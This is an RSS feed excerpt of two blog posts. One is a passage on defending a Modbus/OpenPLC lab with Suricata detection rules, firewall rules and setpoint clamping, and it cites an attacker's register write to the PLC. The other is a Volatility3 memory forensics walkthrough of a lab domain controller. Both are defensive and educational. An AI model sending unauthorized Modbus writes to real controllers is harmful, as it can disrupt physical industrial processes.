1? Any scanner probing with unsupported function codes makes the PLC broadcast that exact two-byte sequence, sitting at a fixed offset in the TCP payload (after the 7-byte MBAP header). Nmap&#39;s modbus-discover, Metasploit auxiliary modules, most ICS scanners they all trigger this. One signature converts the loudest part of ICS reconnaissance into an alarm.</p><h3>Signatures 2 &amp; 3 Policy enforcement at the protocol layer</h3><pre><br>alert modbus any any -&gt; 192.168.10.10 502 ( \<br><br>msg:&quot;OT_ALERT: Unauthorized Modbus Single Write (FC 06)&quot;; \<br><br>ip.src != 192.168.10.20; modbus.function:6; \<br><br>classtype:policy-violation; sid:1000002; rev:1;)<br><br>alert modbus any any -&gt; 192.168.10.10 502 ( \<br><br>msg:&quot;OT_ALERT: Unauthorized Modbus Multiple Write (FC 16)&quot;; \<br><br>ip.src != 192.168.10.20; modbus.function:16; \<br><br>classtype:policy-violation; sid:1000003; rev:1;)</pre><p>Suricata’s modbus protocol parser understands function codes natively this isn&#39;t payload string-matching, it&#39;s protocol-state-aware inspection. The logic encodes the Purdue architecture as policy: <strong>the HMI (Level 2, 192.168.10.20) is the only legitimate writer; anything else is a violation by definition.</strong> In OT, this &quot;who is <em>allowed</em> to talk to the PLC&quot; whitelist is more durable than any behavioral baseline.</p><h3>Signature 4 Engineering semantics, not just syntax</h3><p>This is my favorite, because it shows what DPI at the application layer really buys you:</p><pre><br>alert tcp any any -&gt; 192.168.10.10 502 ( \<br><br>msg:&quot;OT_ALERT: Tank Level Setpoint &gt; 2500&quot;; \<br><br>flow:established,to_server; content:&quot;|06 00 00|&quot;; offset:8; \<br><br>byte_test:2,&gt;,2500,0,relative; \<br><br>classtype:bad-unknown; sid:1000004; rev:1;)</pre><h3>Phase 4 Defense in Depth: Because Every Single Layer Will Fail Eventually</h3><p>Detection tells you you’re being attacked. It doesn’t stop the attack. Real OT resilience comes from layering controls so that compromising one leaves the adversary facing another. I implemented three.</p><h3>Layer 1 Network microsegmentation (the highest-value fix)</h3><p>The root cause of everything in Phase 2 was one line in docker-compose.yml:</p><pre>ports:<br><br>- &quot;8080:8080&quot;<br><br>- &quot;502:502&quot; # binds Modbus to every host interface</pre><p>Removing the 502 mapping didn&#39;t break anything the architecture actually needs. FUXA still reaches the PLC over the private bridge (192.168.10.20 → 192.168.10.10:502); supervisory telemetry is intact. What changed is that the external attack surface <strong>ceased to exist</strong> external write attempts now die with ConnectionRefusedError. This is the OT manifestation of the oldest principle in security: <em>a service that cannot be reached cannot be exploited.</em> Zero trust isn&#39;t a product you buy; here it was a line I deleted.</p><h3>Layer 2 Host firewalling (for non-container deployments)</h3><p>On bare-metal or VM PLCs, the same policy enforces at the kernel:</p><pre>iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT<br><br>iptables -A INPUT -i lo -j ACCEPT<br><br>iptables -A INPUT -p tcp -s 192.168.10.20 --dport 502 -j ACCEPT<br><br>iptables -A INPUT -p tcp --dport 502 -j DROP</pre><h3>Layer 3 Safety logic clamping (the last line of defense)</h3><p>Layers 1 and 2 protect the network path, not the process.** If an attacker pivots through the HMI, or compromises an engineering workstation, or walks up to an open engineering port, network controls evaporate. The final boundary must live in the controller’s execution logic itself where setpoints become physics.</p><p>In OpenPLC’s Structured Text:</p><pre>PROGRAM ProcessSafetyEnforcement<br><br>VAR<br><br>Raw_Setpoint AT %QW0 : INT; (* Modbus Holding Register 0, writable by anyone *)<br><br>Safe_Actuator AT %QW1 : INT; (* verified physical control variable *)<br><br>END_VAR<br><br>IF Raw_Setpoint &gt; 2500 THEN<br><br>Safe_Actuator := 2500; (* clamp to physical safety ceiling *)<br><br>ELSIF Raw_Setpoint &lt; 0 THEN<br><br>Safe_Actuator := 0;<br><br>ELSE<br><br>Safe_Actuator := Raw_Setpoint;<br><br>END_IF;<br><br>END_PROGRAM</pre><p>Now the attacker’s write_register(0, 32767) succeeds at the protocol level, succeeds at the memory level, and is <strong>neutralized at the execution level</strong> the actuator only ever sees 2500. The register remains fully writable; the process remains safe. That&#39;s the correct mental model for OT safety: assume the write succeeds, and bound the blast radius in logic.</p><h3>What I’d Tell a CISO, and What I’d Tell an Engineer</h3><p><strong>To leadership:</strong> the scariest finding in this lab isn’t any single exploit it’s that <em>nothing</em> in the default stack objected to any of it. The protocol performed exactly as designed. Modbus deployments across critical infrastructure inherit this trust model wholesale, and the mitigations demonstrated here (segmentation, DPI detection, safety logic) are architecture patterns, not vendor features. They apply whether your PLCs cost $200 or $2 million.</p><p><strong>To practitioners:</strong> reproduce this. The whole lab runs in Docker on a laptop. The moment you watch your own HMI needle jump to an attacker-chosen value while the operator’s slider does nothing, OT security stops being a compliance topic and becomes something you can <em>feel</em>. And when you build the defenses, build them in the order that matters: shrink the attack surface first (one line of YAML), detect what remains (protocol-aware DPI), and clamp what can’t be detected (logic-level safety envelopes).</p><p>The air gap is gone. The trust model of 1979 isn’t coming back. What we build in its place is up to us.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=16a030e11705" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VMWare Lab Memory Forensics Using volatility]]></title>
            <link>https://medium.com/@fadilulahajeigbe01/vmware-lab-memory-forensics-using-volatility-4a696eef283c?source=rss-f48115f5e044------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a696eef283c</guid>
            <dc:creator><![CDATA[Fadilulah Ajeigbe]]></dc:creator>
            <pubDate>Mon, 09 Feb 2026 15:56:09 GMT</pubDate>
            <atom:updated>2026-02-09T15:56:09.091Z</atom:updated>
            <content:encoded><![CDATA[<h3>Getting the Memory Dump</h3><p>First step is getting the memory to investigate<br>I used the memory of my DC lab in VMware, dumping it is easy…<br>All you need do is <br>1. suspend the lab / machine<br>2. Right click on the machine and select open VM directory<br>3. There is going to be a .vmem file, that is the memory file.<br>4. Copy it to your working location.</p><h3>Forensics Tool</h3><p>Next step is installing the forensics tool, I used “Volatility3”<br>You can simply install with python pip using `pip install volatility3` if you have python installed<br>Confirming volatility is installed using `vol3 -h` and to show all available plugins</p><pre>C:\Users\fadil\Documents\Lab\Memory forencics&gt;vol3 -h<br><br>C:\Users\fadil\Documents\Lab\Memory forencics&gt;C:\Users\fadil\AppData\Local\Python\pythoncore-3.14-64\Scripts\vol.exe -h<br>usage: vol.exe [-h] [-c CONFIG] [--parallelism [{processes,threads,off}]] [-e EXTEND] [-p PLUGIN_DIRS] [-s SYMBOL_DIRS] [-v] [-l LOG] [-o OUTPUT_DIR] [-q] [-f FILE] [--write-config]<br>               [--save-config SAVE_CONFIG] [--clear-cache] [--cache-path CACHE_PATH] [--offline | -u URL] [--filters FILTERS] [--hide-columns [HIDE_COLUMNS ...]] [-r RENDERER]<br>               [--single-location SINGLE_LOCATION] [--stackers [STACKERS ...]] [--single-swap-locations [SINGLE_SWAP_LOCATIONS ...]]<br>               PLUGIN ...<br><br>An open-source memory forensics framework<br><br>options:<br>  -h, --help            Show this help message and exit, for specific plugin options use &#39;vol.exe &lt;pluginname&gt; --help&#39;<br>  -c, --config CONFIG   Load the configuration from a json file<br>  --parallelism [{processes,threads,off}]<br>                        Enables parallelism (defaults to off if no argument given)<br>  -e, --extend EXTEND   Extend the configuration with a new (or changed) setting<br>  -p, --plugin-dirs PLUGIN_DIRS<br>                        Semi-colon separated list of paths to find plugins<br>  -s, --symbol-dirs SYMBOL_DIRS<br>                        Semi-colon separated list of paths to find symbols<br>  -v, --verbosity       Increase output verbosity<br>  -l, --log LOG         Log output to a file as well as the console<br>  -o, --output-dir OUTPUT_DIR<br>                        Directory in which to output any generated files<br>stack<br>  --stackers [STACKERS ...]<br>                        List of stackers<br>  --single-swap-locations [SINGLE_SWAP_LOCATIONS ...]<br>                        Specifies a list of swap layer URIs for use with single-location<br><br>Plugins:<br>  For plugin specific options, run &#39;vol.exe &lt;plugin&gt; --help&#39;<br><br>  PLUGIN<br>    banners.Banners     Attempts to identify potential linux banners in an image<br>    configwriter.ConfigWriter<br>                        Runs the automagics and both prints and outputs configuration in the output directory.<br>    frameworkinfo.FrameworkInfo<br>                        Plugin to list the various modular components of Volatility<br>    isfinfo.IsfInfo     Determines information about the currently available ISF files, or a specific one</pre><h3>Memory analysis</h3><p>Extracting System information<br>This is done using the <strong>windows.info</strong> plugin</p><pre>C:\Users\fadil\Documents\Lab\Memory forencics&gt;C:\Users\fadil\AppData\Local\Python\pythoncore-3.14-64\Scripts\vol.exe -f DC-f1664c15.vmem windows.info<br>Volatility 3 Framework 2.27.0<br>WARNING  volatility3.framework.layers.vmware: No metadata file found alongside VMEM file. A VMSS or VMSN file may be required to correctly process a VMEM file. These should be placed in the same directory with the same file name, e.g. DC-f1664c15.vmem and DC-f1664c15.vmss.<br>Progress:  100.00               PDB scanning finished<br>Variable        Value<br><br>Kernel Base     0xf8065b2a4000<br>DTB     0x1ad000<br>Symbols file:///C:/Users/fadil/AppData/Local/Python/pythoncore-3.14-64/Lib/site-packages/volatility3/symbols/windows/ntkrnlmp.pdb/EF9A48AFA50FF07C616585BB01919536-1.json.xz<br>Is64Bit True<br>IsPAE   False<br>layer_name      0 WindowsIntel32e<br>memory_layer    1 FileLayer<br>KdVersionBlock  0xf8065b6a4f10<br>Major/Minor     15.17763<br>MachineType     34404<br>KeNumberProcessors      2<br>SystemTime      2026-02-01 06:34:30+00:00<br>NtSystemRoot    C:\Windows<br>NtProductType   NtProductLanManNt<br>NtMajorVersion  10<br>NtMinorVersion  0<br>PE MajorOperatingSystemVersion  10<br>PE MinorOperatingSystemVersion  0<br>PE Machine      34404<br>PE TimeDateStamp        Sun Nov 10 07:20:39 2075<br><br>C:\Users\fadil\Documents\Lab\Memory forencics&gt;</pre><p>from this we can analyze that the lab is<br>1. A windows 10 Machine<br>2. 64 bit<br>3. Total Number of processors: 2 cores<br>4. The machine is a server or a domain controller from `NtProductType NtProductLanManNt`</p><h3>Extracting logging sessions and users</h3><p>We proceed to extracting logged in users and sessions using the `windows.sessions`</p><pre>PS C:\Users\fadil\Documents\Lab\Memory forencics&gt; vol3 -f .\DC-f1664c15.vmem windows.sessions | findstr &#39;fadil&#39;<br>WARNING  volatility3.framework.layers.vmware: No metadata file found alongside VMEM file. A VMSS or VMSN file may be required to correctly process a VMEM file. These should be placed in the same directory with the same file name, e.g. DC-f1664c15.vmem and DC-f1664c15.vmss.<br>C:\Users\fadil\Documents\Lab\Memory forencics&gt;C:\Users\fadil\AppData\Local\Python\pythoncore-3.14-64\Scripts\vol.exe -f .\DC-f1664c15.vmem windows.sessions<br>1       -       5736    svchost.exe     FORCE/fadil     2025-12-19 20:56:41.000000 UTC<br>1       -       5768    sihost.exe      FORCE/fadil     2025-12-19 20:56:41.000000 UTC<br>1       Console 5536    explorer.exe    FORCE/fadil     2025-12-19 20:56:47.000000 UTC<br>1       -       6012    ShellExperienc  FORCE/fadil     2025-12-19 20:56:54.000000 UTC<br>1       -       1076    SearchUI.exe    FORCE/fadil     2025-12-19 20:56:56.000000 UTC<br>1       -       6320    RuntimeBroker.  FORCE/fadil     2025-12-19 20:56:59.000000 UTC<br>1       -       6408    RuntimeBroker.  FORCE/fadil     2025-12-19 20:56:59.000000 UTC<br>1       -       6836    RuntimeBroker.  FORCE/fadil     2025-12-19 20:57:15.000000 UTC<br>1       Console 7076    vmtoolsd.exe    FORCE/fadil     2025-12-19 20:57:18.000000 UTC<br>1       Console 1812    ITSMAgent.exe   FORCE/fadil     2025-12-19 20:57:22.000000 UTC<br>1       -       1308    cis.exe FORCE/fadil     2025-12-19 20:58:36.000000 UTC<br>1       Console 7392    chrome.exe      FORCE/fadil     2025-12-19 21:00:44.000000 UTC<br>1       Console 7496    chrome.exe      FORCE/fadil     2025-12-19 21:00:44.000000 UTC<br>1       Console 3956    chrome.exe      FORCE/fadil     2025-12-19 21:00:46.000000 UTC<br>1       Console 2172    chrome.exe      FORCE/fadil     2025-12-19 21:00:46.000000 UTC<br>1       Console 7104    conhost.exe     FORCE/fadil     2025-12-19 21:02:14.000000 UTC<br>1       Console 7404    chrome.exe      FORCE/fadil     2025-12-19 21:03:46.000000 UTC<br>1       Console 3620    chrome.exe      FORCE/fadil     2025-12-19 21:05:01.000000 UTC<br>1       Console 2628    chrome.exe      FORCE/fadil     2025-12-19 21:05:01.000000 UTC<br>1       -       1900    LockApp.exe     FORCE/fadil     2025-12-19 21:15:15.000000 UTC<br>1       -       1724    RuntimeBroker.  FORCE/fadil     2025-12-19 21:15:16.000000 UTC<br>1       -       10968   cis.exe FORCE/fadil     2025-12-24 08:52:28.000000 UTC<br>PS C:\Users\fadil\Documents\Lab\Memory forencics&gt;</pre><p>From the above result, we were able to get all running process sessions along with the users running them and the timestamp, we drill down further to user “fadil” to see what the users has going on.</p><h3><strong>Extracting Command History and shell activity</strong></h3><p>This is done using the `windows.consoles` plugin</p><pre>PS C:\Users\fadil\Documents\Lab\Memory forencics&gt; vol3 -f .\DC-f1664c15.vmem windows.consoles<br><br>C:\Users\fadil\Documents\Lab\Memory forencics&gt;C:\Users\fadil\AppData\Local\Python\pythoncore-3.14-64\Scripts\vol.exe -f .\DC-f1664c15.vmem windows.consoles<br>Volatility 3 Framework 2.27.0<br>WARNING  volatility3.framework.layers.vmware: No metadata file found alongside VMEM file. A VMSS or VMSN file may be required to correctly process a VMEM file. These should be placed in the same directory with the same file name, e.g. DC-f1664c15.vmem and DC-f1664c15.vmss.<br>Progress:  100.00               PDB scanning finished<br>PID     Process ConsoleInfo     Property        Address Data<br><br>7104    conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION    0x7ff6f48eb828  -<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ScreenX    0x7ff6f48eb848  120<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ScreenY    0x7ff6f48eb84a  3000<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.CommandHistorySize 0x7ff6f48eb8b8  50<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryBufferCount 0x7ff6f48eb538  2<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryBufferMax   0x7ff6f48eb8bc  4<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.Title      0x7ff6f48ebeb0  Windows PowerShell<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.OriginalTitle      0x7ff6f48ebef0  -<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ProcessCount       0x7ff6f48ebd80  1<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList 0x7ff6f48ebd78  -<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_0        0x200b0b115b0  -<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_0_ProcessId      0x200b0b115cc   6332<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_0_ProcessHandle  0x200b0b115e0   0x124<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ExeAliasList       0x7ff6f48ebd98  -<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ExeAliasList.AliasList_0   0x200b0b06bb0   -<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList        0x7ff6f48eb530  -<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_0       0x200b0b32110   -<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_0_Application   0x200b0b32140  ssh.exe<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1       0x200b0b32350   -<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1_Application   0x200b0b32380  powershell.exe<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1_ProcessHandle 0x200b0b115e0  0x124<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1_CommandCount  N/A     -<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1_LastDisplayed 0x200b0b323ac  -1<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.CurrentScreenBuffer        0x7ff6f48ebd90  -<br>5972    conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION    0x7ff6f48eb828  -<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ScreenX    0x7ff6f48eb848  120<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ScreenY    0x7ff6f48eb84a  3000<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.CommandHistorySize 0x7ff6f48eb8b8  50<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryBufferCount 0x7ff6f48eb538  2<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryBufferMax   0x7ff6f48eb8bc  4<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.Title      0x7ff6f48ebeb0  root@scientist: ~<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.OriginalTitle      0x7ff6f48ebef0  -<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ProcessCount       0x7ff6f48ebd80  2<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList 0x7ff6f48ebd78  -<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_0        0x1b861365610  -<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_0_ProcessId      0x1b86136562c   6460<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_0_ProcessHandle  0x1b861365640   0x478<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_1        0x1b85e8b67e0  -<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_1_ProcessId      0x1b85e8b67fc   8600<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_1_ProcessHandle  0x1b85e8b6810   0x11c<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ExeAliasList       0x7ff6f48ebd98  -<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ExeAliasList.AliasList_0   0x1b85e8ad3b0   -<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList        0x7ff6f48eb530  -<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_0       0x1b85e8d9bd0   -<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_0_Application   0x1b85e8d9c00  ssh.exe<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_0_ProcessHandle 0x1b861365640  0x478<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_0_CommandCount  N/A     -<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_0_LastDisplayed 0x1b85e8d9c2c  -1<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1       0x1b85e8d9990   -<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1_Application   0x1b85e8d99c0  powershell.exe<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1_ProcessHandle 0x1b85e8b6810  0x11c<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1_CommandCount  N/A     -<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1_LastDisplayed 0x1b85e8d99ec  -1<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.CurrentScreenBuffer        0x7ff6f48ebd90  -<br>7952    conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION    0x7ff6f48eb828  -<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ScreenX    0x7ff6f48eb848  120<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ScreenY    0x7ff6f48eb84a  3000<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.CommandHistorySize 0x7ff6f48eb8b8  50<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryBufferCount 0x7ff6f48eb538  4<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryBufferMax   0x7ff6f48eb8bc  4<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.Title      0x7ff6f48ebeb0  Administrator: Windows PowerShell<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.OriginalTitle      0x7ff6f48ebef0  -<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ProcessCount       0x7ff6f48ebd80  1<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList 0x7ff6f48ebd78  -<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_0        0x2b9886b7300  -<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_0_ProcessId      0x2b9886b731c   12264<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_0_ProcessHandle  0x2b9886b7330   0x118<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ExeAliasList       0x7ff6f48ebd98  -<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ExeAliasList.AliasList_0   0x2b9886ad5b0   -<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList        0x7ff6f48eb530  -<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_0       0x2b98a0ea490   -<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_0_Application   0x2b98a0ea4c0  cipher.exe<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1       0x2b98a0ea370   -<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1_Application   0x2b98a0ea3a0  net1.exe<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_2       0x2b98a0ea760   -<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_2_Application   0x2b98a0ea790  net.exe<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_3       0x2b98a0ea7f0   -<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_3_Application   0x2b98a0ea820  PowerShell.exe<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_3_ProcessHandle 0x2b9886b7330  0x118<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_3_CommandCount  N/A     -<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_3_LastDisplayed 0x2b98a0ea84c  -1<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.CurrentScreenBuffer        0x7ff6f48ebd90  -<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ScreenBuffer_0     0x2b9886c1f60 </pre><p>Running the command, We observe that there are 3 `PIDs` `7104, 5972, 7952` indicating 3 active shell sessions.<br>We’ll filter based on each PID and analyze the result.</p><p><strong>7104</strong></p><pre>PS C:\Users\fadil\Documents\Lab\Memory forencics&gt; vol3 -f .\DC-f1664c15.vmem windows.consoles | findstr &#39;7104&#39;<br>WARNING  volatility3.framework.layers.vmware: No metadata file found alongside VMEM file. A VMSS or VMSN file may be required to correctly process a VMEM file. These should be placed in the same directory with the same file name, e.g. DC-f1664c15.vmem and DC-f1664c15.vmss.<br>7104ressconhost.exe     0x7ff6f48eb828an_CONSOLE_INFORMATION    0x7ff6f48eb828  -<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ScreenX    0x7ff6f48eb848  120<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ScreenY    0x7ff6f48eb84a  3000<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.CommandHistorySize 0x7ff6f48eb8b8  50<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryBufferCount 0x7ff6f48eb538  2<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryBufferMax   0x7ff6f48eb8bc  4<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.Title      0x7ff6f48ebeb0  Windows PowerShell<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.OriginalTitle      0x7ff6f48ebef0  -<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ProcessCount       0x7ff6f48ebd80  1<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList 0x7ff6f48ebd78  -<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_0        0x200b0b115b0   -<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_0_ProcessId      0x200b0b115cc   6332<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_0_ProcessHandle  0x200b0b115e0   0x124<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ExeAliasList       0x7ff6f48ebd98  -<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ExeAliasList.AliasList_0   0x200b0b06bb0   -<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList        0x7ff6f48eb530  -<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_0       0x200b0b32110   -<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_0_Application   0x200b0b32140   ssh.exe<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1       0x200b0b32350   -<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1_Application   0x200b0b32380   powershell.exe<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1_ProcessHandle 0x200b0b115e0   0x124<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1_CommandCount  N/A     -<br>** 7104 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1_LastDisplayed 0x200b0b323ac   -1<br>* 7104  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.CurrentScreenBuffer        0x7ff6f48ebd90  -<br>PS C:\Users\fadil\Documents\Lab\Memory forencics&gt;</pre><p>From this we can understand that<br>1. `_CONSOLE_INFORMATION.Title 0x7ff6f48ebeb0 Windows PowerShell` indicates this to be a Windows powershell instance<br>2. ``_CONSOLE_INFORMATION.HistoryList.CommandHistory_0_Application 0x200b0b32140 ssh.exe` indicates that ssh.exe has been called, (An attempt to ssh from a DC, that sus :XD)</p><p><strong>7952</strong></p><pre>PS C:\Users\fadil\Documents\Lab\Memory forencics&gt; vol3 -f .\DC-f1664c15.vmem windows.consoles | findstr &#39;7952&#39;<br>WARNING  volatility3.framework.layers.vmware: No metadata file found alongside VMEM file. A VMSS or VMSN file may be required to correctly process a VMEM file. These should be placed in the same directory with the same file name, e.g. DC-f1664c15.vmem and DC-f1664c15.vmss.<br>7952ressconhost.exe     0x7ff6f48eb828an_CONSOLE_INFORMATION    0x7ff6f48eb828  -<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ScreenX    